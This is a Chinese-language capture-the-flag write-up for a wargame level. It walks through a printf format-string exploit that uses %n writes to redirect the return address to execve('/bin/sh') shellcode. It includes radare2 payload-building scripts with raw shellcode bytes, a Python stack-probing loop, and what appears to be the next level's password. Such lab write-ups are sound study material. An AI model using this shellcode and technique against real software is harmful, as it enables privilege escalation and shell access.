summaryrefslogtreecommitdiff
path: root/level09
blob: 584c3245150cdb6684dd0abe8cba7869d705eed6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
level9 存在 printf 格式化字符串漏洞的利用,其中可以使用 %n 修改内存地址。注意到该程序栈的位置固定,ebp 为 0xbffffc78,返回地址位于 ebp+4=0xbffffc7c,记其为 ra.

反汇编可知,buf 在 ebp-0x418=0xbffff860,栈顶在 ebp-0x428,我们先用3个%02hhx消耗掉 buf 之前的 3 个参数,然后填写 ra 至 ra+4 使得 %n 可以写 4 个字节至 ra. 于是利用串如下:

    <ra>,<ra+1>,<ra+2>,<ra+3>,shellcode,%02hhx,%02hhx,%02hhx,...%n...%n...%n...%n...

shellcode 的位置为 buf+16=0xbffff870. 往 ra, ra+1, ra+2 处写入 0x70, 0xf8, 0xff,往 ra+3 写入 0x1bf 即可使返回地址指向 buf.

[0x00000000]> wxs 7cfcffbf
[0x00000004]> wxs 7dfcffbf
[0x00000008]> wxs 7efcffbf
[0x0000000c]> wxs 7ffcffbf
[0x00000010]> wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
[0x0000003f]> w %02hhx%02hhx%02hhx
[0x0000003f]> s +18
[0x00000051]> 43 wxs 20
[0x0000007c]> w %n
[0x0000007c]> s +2
[0x0000007e]> 136 wxs 20
[0x00000106]> w %n
[0x00000106]> s +2
[0x00000108]> 7 wxs 20
[0x0000010f]> w %n
[0x0000010f]> s +2
[0x00000111]> 192 wxs 20
[0x000001d1]> w %n
[0x000001d1]> wtf /tmp/exp_.bin 0x1d3 @ 0
[0x000001d3]> q

测试后发现失败,原因是 argv[1] 变长后 ebp 位置发生改变。注意到 argv[1] 和 buf 至多 1k 字节,ebp 和 ebp-0x418-4 仍为 0xbffffxxx,可以让 argv[1] 长度不变,只调整相应数值。

用调试器可以看出,在这个 argv[1] 长度下,ra=0xbffffaac,shellcode 位置为 ra-4-0x418+16=0xbffff6a0. 调整 radare2 脚本:

wxs acfaffbf
wxs adfaffbf
wxs aefaffbf
wxs affaffbf
wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
w %02hhx%02hhx%02hhx
s +18
# now 0x45 bytes will be printed
# 0xa0 - 0x45 = 91
91 wxs 41
w %n
s +2
# 0xf6 - 0xa0 = 86
86 wxs 41
w %n
s +2
# 0xff - 0xf6 = 9
9 wxs 41
w %n
s +2
# 0x1bf - 0xff = 192
192 wxs 41
w %n
wtf /tmp/exp_.bin 0x1d3 @ 0

测试后发现 gdb 可以 exec 命令,但是直接运行还是不行。

考虑到在程序调用 strncpy 时,argv[1] 的地址已经在栈中,我们可以尝试找到 argv[1] 和 ebp 的关系。用以下脚本可以检查 pad 的地址:

import os
start = 0
while start < 0x1000:
    lo = start & 0xff
    hi = (start >> 8) & 0xff
    hi = hi + 0xf0
    if lo != 0 and hi != 0:
        s = chr(lo) + chr(hi) + b"\xff\xbf_%p_%x_%x_%n%263$x_000"
        print(start)
        os.system(b"/levels/level09 '" + s + "'")
        print("")
    start = start+4

测得 start=3196 时 pad 的值被修改,并且 argv[1]=0xbffffe41. 即 argv[1]=0xbffffe41 时 ebp-0xc=0xbffffc7c, ebp=0xbffffc88.

用 gdb 可以看出,argv[1]&(-16) 和 ebp 的距离为一个固定的值。在这里,这个固定的值为 0xbffffe40-0xbffffc88=440. 我们重新用上述 radare2 脚本,把第一个 %02hhx 改为 %p,查看 argv[1] 的值 0xbffffc94,定位出 ebp=0xbffffe48,再调整 shellcode 地址,终于过关。

$ cat /tmp/exp.txt
wxs dcfaffbf
wxs ddfaffbf
wxs defaffbf
wxs dffaffbf
wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
w %p%02hhx%02hhx
s +14
# now 0x4d bytes will be printed
# we need the address 0xbffff6d0
# 0xd0 - 0x4d = 147
131 wxs 41
w %n
s +2
# 0xf6 - 0xd0 = 22
38 wxs 41
w %n
s +2
# 0xff - 0xf6 = 9
9 wxs 41
w %n
s +2
# 0x1bf - 0xff = 192
192 wxs 41
w %n
wtf /tmp/exp_.bin 0x1c7 @ 0

level10 UT3ROlnUqI0R2nJA